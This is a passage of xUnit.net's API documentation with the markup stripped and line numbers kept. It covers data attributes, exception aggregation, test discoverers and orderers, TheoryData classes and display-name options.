| The method under test 359 | 360 | 361 | 362 | This method is called before the test method is executed. 363 | 364 | The method under test 365 | 366 | 367 | 368 | Abstract attribute which represents a data source for a data theory. 369 | Data source providers derive from this attribute and implement GetData 370 | to return the data for the theory. 371 | Caution: the property is completely enumerated by .ToList() before any test is run. Hence it should return independent object sets. 372 | 373 | 374 | 375 | 376 | Returns the data to be used to test the theory. 377 | 378 | The method that is being tested 379 | One or more sets of theory data. Each invocation of the test method 380 | is represented by a single object array. 381 | 382 | 383 | 384 | Marks all test cases generated by this data source as skipped. 385 | 386 | 387 | 388 | 389 | Default implementation of . Uses reflection to find the 390 | data associated with ; may return null when called 391 | without reflection-based abstraction implementations. 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 402 | An attribute used to decorate classes which derive from , 403 | to indicate how data elements should be discovered. 404 | 405 | 406 | 407 | 408 | Initializes an instance of . 409 | 410 | The fully qualified type name of the discoverer 411 | (f.e., 'Xunit.Sdk.DataDiscoverer') 412 | The name of the assembly that the discoverer type 413 | is located in, without file extension (f.e., 'xunit.execution') 414 | 415 | 416 | 417 | Aggregates exceptions. Intended to run one or more code blocks, and collect the 418 | exceptions thrown by those code blocks. 419 | 420 | 421 | 422 | 423 | Initializes a new instance of the class. 424 | 425 | 426 | 427 | 428 | Initializes a new instance of the class that 429 | contains the exception list of its parent. 430 | 431 | The parent aggregator to copy exceptions from. 432 | 433 | 434 | 435 | Returns true if the aggregator has at least one exception inside it. 436 | 437 | 438 | 439 | 440 | Adds an exception to the aggregator. 441 | 442 | The exception to be added. 443 | 444 | 445 | 446 | Adds exceptions from another aggregator into this aggregator. 447 | 448 | The aggregator whose exceptions should be copied. 449 | 450 | 451 | 452 | Clears the aggregator. 453 | 454 | 455 | 456 | 457 | Runs the code, catching the exception that is thrown and adding it to 458 | the aggregate. 459 | 460 | The code to be run. 461 | 462 | 463 | 464 | Runs the code, catching the exception that is thrown and adding it to 465 | the aggregate. 466 | 467 | The code to be run. 468 | 469 | 470 | 471 | Runs the code, catching the exception that is thrown and adding it to 472 | the aggregate. 473 | 474 | The code to be run. 475 | 476 | 477 | 478 | Returns an exception that represents the exceptions thrown by the code 479 | passed to the or method. 480 | 481 | Returns null if no exceptions were thrown; returns the 482 | exact exception if a single exception was thrown; returns 483 | if more than one exception was thrown. 484 | 485 | 486 | 487 | This class is responsible for discovering the data available in an implementation 488 | of . The discovery process may not always have access 489 | to reflection (i.e., running in Resharper), so the discoverer must make a best 490 | effort to return data, but may return null when there is not enough information 491 | available (for example, if reflection is required to answer the question). 492 | 493 | 494 | 495 | 496 | Returns the data to be used to test the theory. 497 | 498 | 499 | This will be called during 500 | discovery, at which point the may or may not 501 | be backed by reflection (i.e., implementing ). 502 | If the data is not available because reflection is required, then you may return 503 | null to inform xUnit that the quantity of data is unknown at this point. 504 | When the tests are run, if you returned back null during discovery, then this method 505 | will be called again to retrieve the data, this time guaranteed to provide 506 | an implementation of . At this time, you 507 | must return the actual data, and returning null is not legal. 508 | 509 | The data attribute being discovered 510 | The method that is being tested/discovered 511 | The theory data (or null during discovery, if not enough 512 | information is available to enumerate the data) 513 | 514 | 515 | 516 | Returns true if the data attribute supports enumeration during 517 | discovery; false otherwise. Data attributes with expensive computational 518 | costs and/or randomized data sets should return false. 519 | 520 | 521 | 522 | 523 | Used by discovery, execution, and extensibility code to send messages to the runner. 524 | 525 | 526 | 527 | 528 | Queues a message to be sent to the runner. 529 | 530 | The message to be sent to the runner 531 | 532 | Returns true if discovery/execution should continue; false, otherwise. 533 | The return value may be safely ignored by components which are not directly responsible 534 | for discovery or execution, and this is intended to communicate to those sub-systems that 535 | that they should short circuit and stop their work as quickly as is reasonable. 536 | 537 | 538 | 539 | 540 | Implementation of used to discover the data 541 | provided by . 542 | 543 | 544 | 545 | 546 | 547 | 548 | 549 | 550 | 551 | 552 | A class implements this interface to participate in ordering tests 553 | for the test runner. Test case orderers are applied using the 554 | , which can be applied at 555 | the assembly, test collection, and test class level. 556 | 557 | 558 | 559 | 560 | Orders test cases for execution. 561 | 562 | The test cases to be ordered. 563 | The test cases in the order to be run. 564 | 565 | 566 | 567 | Marker interface that must be implemented by test framework attributes, so 568 | that the test framework attribute discoverer can find them. 569 | 570 | 571 | 572 | 573 | Interface to be implemented by classes which are used to discover the test framework. 574 | 575 | 576 | 577 | 578 | Gets the type that implements to be used to discover 579 | and run tests. 580 | 581 | The test framework attribute that decorated the assembly 582 | The test framework type 583 | 584 | 585 | 586 | Marker interface used by attributes which provide trait data. 587 | 588 | 589 | 590 | 591 | This interface is implemented by discoverers that provide trait values to 592 | xUnit.net v2 tests. 593 | 594 | 595 | 596 | 597 | Gets the trait values from the trait attribute. 598 | 599 | The trait attribute containing the trait values. 600 | The trait values. 601 | 602 | 603 | 604 | Represents a single test case from xUnit.net v2. 605 | 606 | 607 | 608 | 609 | Gets the exception that happened during initialization. When this is set, then 610 | the test execution should fail with this exception. 611 | 612 | 613 | 614 | 615 | Gets the method to be run. Differs from . in that 616 | any generic argument types will have been closed based on the arguments. 617 | 618 | 619 | 620 | 621 | Gets the timeout of the test, in milliseconds; if zero or negative, means the test case has no timeout. 622 | 623 | 624 | 625 | 626 | Executes the test case, returning 0 or more result messages through the message sink. 627 | 628 | The message sink used to send diagnostic messages to. 629 | The message bus to report results to. 630 | The arguments to pass to the constructor. 631 | The error aggregator to use for catching exception. 632 | The cancellation token source that indicates whether cancellation has been requested. 633 | Returns the summary of the test case run. 634 | 635 | 636 | 637 | Interface to be implemented by classes which are used to discover tests cases attached 638 | to test methods that are attributed with (or a subclass). 639 | 640 | 641 | 642 | 643 | Discover test cases from a test method. 644 | 645 | The discovery options to be used. 646 | The test method the test cases belong to. 647 | The fact attribute attached to the test method. 648 | Returns zero or more test cases represented by the test method. 649 | 650 | 651 | 652 | This interface is intended to be implemented by components which generate test collections. 653 | End users specify the desired test collection factory by applying 654 | at the assembly level. Classes which implement this interface must have a constructor 655 | that takes and . 656 | 657 | 658 | 659 | 660 | Gets the display name for the test collection factory. This information is shown to the end 661 | user as part of the description of the test environment. 662 | 663 | 664 | 665 | 666 | Gets the test collection for a given test class. 667 | 668 | The test class. 669 | The test collection. 670 | 671 | 672 | 673 | Implementation of for discovering . 674 | 675 | 676 | 677 | 678 | 679 | 680 | 681 | Marks an assembly as a platform specific assembly for use with xUnit.net. Type references from 682 | such assemblies are allowed to use a special suffix ("My.Assembly.{Platform}"), which will 683 | automatically be translated into the correct platform-specific name ("My.Assembly.desktop", 684 | "My.Assembly.win8", etc.). This affects both extensibility points which require specifying 685 | a string-based type name and assembly, as well as serialization. 686 | 687 | In v2.1 and later, the supported platform target names include: 688 | 689 | "desktop" (for desktop and PCL tests), 690 | "dotnet" (everything else). 691 | 692 | In v2.0, the following names were also supported: 693 | 694 | "iOS-Universal" (for Xamarin test projects targeting iOS), 695 | "MonoAndroid" (for Xamarin MonoAndroid tests), 696 | "MonoTouch" (for Xamarin MonoTouch tests), 697 | "universal" (for Windows Phone 8.1 and Windows 8.1 tests), 698 | "win8" (for Windows 8 tests), 699 | "wp8" (for Windows Phone 8 Silverlight tests). 700 | 701 | For backward compatibility reasons, the v2.1 runners will support tests linked against 702 | the v2.0 execution libraries. 703 | 704 | Note that file names may be case sensitive (when running on platforms with case sensitive 705 | file systems like Linux), so ensure that your assembly file name casing is consistent, and 706 | that you use the suffixes here with the exact case shown. 707 | 708 | 709 | 710 | 711 | Represents the statistical summary from a run of one or more tests. 712 | 713 | 714 | 715 | 716 | The total number of tests run. 717 | 718 | 719 | 720 | 721 | The number of failed tests. 722 | 723 | 724 | 725 | 726 | The number of skipped tests. 727 | 728 | 729 | 730 | 731 | The total time taken to run the tests, in seconds. 732 | 733 | 734 | 735 | 736 | Adds a run summary's totals into this run summary. 737 | 738 | The run summary to be added. 739 | 740 | 741 | 742 | Decorates an implementation of that is used to 743 | determine which test framework is used to discover and run tests. 744 | 745 | 746 | 747 | 748 | Initializes an instance of . 749 | 750 | The fully qualified type name of the discoverer 751 | (f.e., 'Xunit.Sdk.DataDiscoverer') 752 | The name of the assembly that the discoverer type 753 | is located in, without file extension (f.e., 'xunit.execution') 754 | 755 | 756 | 757 | The implementation of which returns the trait values 758 | for . 759 | 760 | 761 | 762 | 763 | 764 | 765 | 766 | An attribute used to decorate classes which implement , 767 | to indicate how trait values should be discovered. The discoverer type must implement 768 | . 769 | 770 | 771 | 772 | 773 | Initializes an instance of . 774 | 775 | The fully qualified type name of the discoverer 776 | (f.e., 'Xunit.Sdk.TraitDiscoverer') 777 | The name of the assembly that the discoverer type 778 | is located in, without file extension (f.e., 'xunit.execution') 779 | 780 | 781 | 782 | An attribute used to decorate classes which derive from , 783 | to indicate how test cases should be discovered. 784 | 785 | 786 | 787 | 788 | Initializes an instance of the class. 789 | 790 | The fully qualified type name of the discoverer 791 | (f.e., 'Xunit.Sdk.FactDiscoverer') 792 | The name of the assembly that the discoverer type 793 | is located in, without file extension (f.e., 'xunit.execution') 794 | 795 | 796 | 797 | Indicates the default display name format for test methods. 798 | 799 | 800 | 801 | 802 | Use a fully qualified name (namespace + class + method) 803 | 804 | 805 | 806 | 807 | Use just the method name (without class) 808 | 809 | 810 | 811 | 812 | Indicates the method display options for test methods. 813 | 814 | 815 | 816 | 817 | Indicates no additional method display options. 818 | 819 | This is the default configuration option. 820 | 821 | 822 | 823 | Replace underscores in display names with a space. 824 | 825 | 826 | 827 | 828 | Replace well-known monikers with their equivalent operator. 829 | 830 | 831 | lt : < 832 | le : <= 833 | eq : = 834 | ne : != 835 | gt : > 836 | ge : >= 837 | 838 | 839 | 840 | 841 | Replace supported escape sequences with their equivalent character. 842 | 843 | 844 | Encoding 845 | Format 846 | 847 | ASCIIX hex-digit hex-digit (ex: X2C) 848 | UnicodeU hex-digit hex-digit hex-digit hex-digit (ex: U00A9) 849 | 850 | 851 | 852 | 853 | 854 | Replaces the period delimiter used in namespace and type references with a comma. 855 | 856 | This option is only honored if the setting is also enabled. 857 | 858 | 859 | 860 | Enables all method display options. 861 | 862 | 863 | 864 | 865 | Formats arguments for display in theories. 866 | 867 | 868 | 869 | 870 | Format the value for presentation. 871 | 872 | The value to be formatted. 873 | The formatted value. 874 | 875 | 876 | 877 | Default implementation of used by the xUnit.net equality assertions. 878 | 879 | The type that is being compared. 880 | 881 | 882 | 883 | Initializes a new instance of the class. 884 | 885 | The inner comparer to be used when the compared objects are enumerable. 886 | 887 | 888 | 889 | 890 | 891 | 892 | 893 | 894 | 895 | A class that wraps to create . 896 | 897 | The type that is being compared. 898 | 899 | 900 | 901 | Initializes a new instance of the class. 902 | 903 | The comparer that is being adapted. 904 | 905 | 906 | 907 | 908 | 909 | 910 | 911 | 912 | 913 | Used to decorate an assembly, test collection, or test class to allow 914 | the use of a custom . 915 | 916 | 917 | 918 | 919 | Initializes a new instance of the class. 920 | 921 | The type name of the orderer class (that implements ). 922 | The assembly that exists in. 923 | 924 | 925 | 926 | Used to decorate an assembly to allow the use of a custom . 927 | 928 | 929 | 930 | 931 | Initializes a new instance of the class. 932 | 933 | The type name of the orderer class (that implements ). 934 | The assembly that exists in. 935 | 936 | 937 | 938 | Used to decorate an assembly to allow the use of a custom . 939 | 940 | 941 | 942 | 943 | Initializes an instance of . 944 | 945 | The fully qualified type name of the test framework 946 | (f.e., 'Xunit.Sdk.XunitTestFramework') 947 | The name of the assembly that the test framework type 948 | is located in, without file extension (f.e., 'xunit.execution') 949 | 950 | 951 | 952 | Marks a test method as being a data theory. Data theories are tests which are fed 953 | various bits of data from a data source, mapping to parameters on the test method. 954 | If the data source contains multiple rows, then the test method is executed 955 | multiple times (once with each data row). Data is provided by attributes which 956 | derive from (notably, and 957 | ). 958 | 959 | 960 | 961 | 962 | Provides data for theories based on collection initialization syntax. 963 | 964 | 965 | 966 | 967 | Adds a row to the theory. 968 | 969 | The values to be added. 970 | 971 | 972 | 973 | 974 | 975 | 976 | 977 | 978 | 979 | Represents a set of data for a theory with a single parameter. Data can 980 | be added to the data set using the collection initializer syntax. 981 | 982 | The parameter type. 983 | 984 | 985 | 986 | Adds data to the theory data set. 987 | 988 | The data value. 989 | 990 | 991 | 992 | Represents a set of data for a theory with 2 parameters. Data can 993 | be added to the data set using the collection initializer syntax. 994 | 995 | The first parameter type. 996 | The second parameter type. 997 | 998 | 999 | 1000 | Adds data to the theory data set. 1001 | 1002 | The first data value. 1003 | The second data value. 1004 | 1005 | 1006 | 1007 | Represents a set of data for a theory with 3 parameters. Data can 1008 | be added to the data set using the collection initializer syntax. 1009 | 1010 | The first parameter type. 1011 | The second parameter type. 1012 | The third parameter type. 1013 | 1014 | 1015 | 1016 | Adds data to the theory data set. 1017 | 1018 | The first data value. 1019 | The second data value. 1020 | The third data value. 1021 | 1022 | 1023 | 1024 | Represents a set of data for a theory with 4 parameters. Data can 1025 | be added to the data set using the collection initializer syntax. 1026 | 1027 | The first parameter type. 1028 | The second parameter type. 1029 | The third parameter type. 1030 | The fourth parameter type. 1031 | 1032 | 1033 | 1034 | Adds data to the theory data set. 1035 | 1036 | The first data value. 1037 | The second data value. 1038 | The third data value. 1039 | The fourth data value. 1040 | 1041 | 1042 | 1043 | Represents a set of data for a theory with 5 parameters. Data can 1044 | be added to the data set using the collection initializer syntax. 1045 | 1046 | The first parameter type. 1047 | The second parameter type. 1048 | The third parameter type. 1049 | The fourth parameter type. 1050 | The fifth parameter type. 1051 | 1052 | 1053 | 1054 | Adds data to the theory data set. 1055 | 1056 | The first data value. 1057 | The second data value. 1058 | The third data value. 1059 | The fourth data value. 1060 | The fifth data value. 1061 | 1062 | 1063 | 1064 | Represents a set of data for a theory with 5 parameters. Data can 1065 | be added to the data set using the collection initializer syntax. 1066 | 1067 | The first parameter type. 1068 | The second parameter type. 1069 | The third parameter type. 1070 | The fourth parameter type. 1071 | The fifth parameter type. 1072 | The sixth parameter type. 1073 | 1074 | 1075 | 1076 | Adds data to the theory data set. 1077 | 1078 | The first data value. 1079 | The second data value. 1080 | The third data value. 1081 | The fourth data value. 1082 | The fifth data value. 1083 | The sixth data value. 1084 | 1085 | 1086 | 1087 | Represents a set of data for a theory with 5 parameters. Data can 1088 | be added to the data set using the collection initializer syntax. 1089 | 1090 | The first parameter type. 1091 | The second parameter type. 1092 | The third parameter type. 1093 | The fourth parameter type. 1094 | The fifth parameter type. 1095 | The sixth parameter type. 1096 | The seventh parameter type. 1097 | 1098 | 1099 | 1100 | Adds data to the theory data set. 1101 | 1102 | The first data value. 1103 | The second data value. 1104 | The third data value. 1105 | The fourth data value. 1106 | The fifth data value. 1107 | The sixth data value. 1108 | The seventh data value. 1109 | 1110 | 1111 | 1112 | Represents a set of data for a theory with 5 parameters. Data can 1113 | be added to the data set using the collection initializer syntax. 1114 | 1115 | The first parameter type. 1116 | The second parameter type. 1117 | The third parameter type. 1118 | The fourth parameter type. 1119 | The fifth parameter type. 1120 | The sixth parameter type. 1121 | The seventh parameter type. 1122 | The eigth parameter type. 1123 | 1124 | 1125 | 1126 | Adds data to the theory data set. 1127 | 1128 | The first data value. 1129 | The second data value. 1130 | The third data value. 1131 | The fourth data value. 1132 | The fifth data value. 1133 | The sixth data value. 1134 | The seventh data value. 1135 | The eigth data value. 1136 | 1137 | 1138 | 1139 | Represents a set of data for a theory with 5 parameters. Data can 1140 | be added to the data set using the collection initializer syntax. 1141 | 1142 | The first parameter type. 1143 | The second parameter type. 1144 | The third parameter type. 1145 | The fourth parameter type. 1146 | The fifth parameter type. 1147 | The sixth parameter type. 1148 | The seventh parameter type. 1149 | The eigth parameter type. 1150 | The nineth parameter type. 1151 | 1152 | 1153 | 1154 | Adds data to the theory data set. 1155 | 1156 | The first data value. 1157 | The second data value. 1158 | The third data value. 1159 | The fourth data value. 1160 | The fifth data value. 1161 | The sixth data value. 1162 | The seventh data value. 1163 | The eigth data value. 1164 | The nineth data value. 1165 | 1166 | 1167 | 1168 | Represents a set of data for a theory with 5 parameters. Data can 1169 | be added to the data set using the collection initializer syntax. 1170 | 1171 | The first parameter type. 1172 | The second parameter type. 1173 | The third parameter type. 1174 | The fourth parameter type. 1175 | The fifth parameter type. 1176 | The sixth parameter type. 1177 | The seventh parameter type. 1178 | The eigth parameter type. 1179 | The nineth parameter type. 1180 | The tenth parameter type. 1181 | 1182 | 1183 | 1184 | Adds data to the theory data set. 1185 | 1186 | The first data value. 1187 | The second data value. 1188 | The third data value. 1189 | The fourth data value. 1190 | The fifth data value. 1191 | The sixth data value. 1192 | The seventh data value. 1193 | The eigth data value. 1194 | The nineth data value. 1195 | The tenth data value. 1196 | 1197 | 1198 | 1199 | Attribute used to decorate a test method with arbitrary name/value pairs ("traits"). 1200 | 1201 | 1202 | 1203 | 1204 | Creates a new instance of the class. 1205 | 1206 | The trait name 1207 | The trait value 1208 | 1209 | 1210 | 1211 | Rethrows an exception object without losing the existing stack trace information 1212 | 1213 | The exception to re-throw. 1214 | 1215 | For more information on this technique, see 1216 | http://www.dotnetjunkies.com/WebLog/chris.taylor/archive/2004/03/03/8353.aspx. 1217 | The remote_stack_trace string is here to support Mono. 1218 | 1219 | 1220 | 1221 | 1222 | Unwraps an exception to remove any wrappers, like . 1223 | 1224 | The exception to unwrap. 1225 | The unwrapped exception. 1226 | 1227 | 1228 | 1229 | Guard class, used for guard clauses and argument validation 1230 | 1231 | 1232 | 1233 | 1234 | 1235 | 1236 | 1237 | 1238 | 1239 | 1240 | 1241 | 1242 | 1243 | --------------------------------------------------------------------------------